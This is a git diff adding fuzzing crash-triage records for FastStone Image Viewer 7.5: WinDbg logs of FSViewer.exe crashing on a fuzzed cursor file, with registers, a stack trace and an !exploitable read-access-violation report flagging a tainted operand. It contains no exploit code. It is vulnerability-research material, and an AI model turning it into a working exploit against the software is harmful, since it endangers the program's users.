+STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cfa3e5d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/506/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..343b067 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..776de2d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1980: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1980: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1980.bb4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=01ffed2d ecx=07e77b10 edx=00003879 esi=f9e30010 edi=0fd20fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.221162800000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.28162e-024 1.78981e-033 9.99924e-023 1.00736e-031 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00345000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00345000 85091912 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00345000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..776de2d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1980: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1980: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1980.bb4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=01ffed2d ecx=07e77b10 edx=00003879 esi=f9e30010 edi=0fd20fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.221162800000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.28162e-024 1.78981e-033 9.99924e-023 1.00736e-031 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00345000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00345000 85091912 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cf 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00345000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl 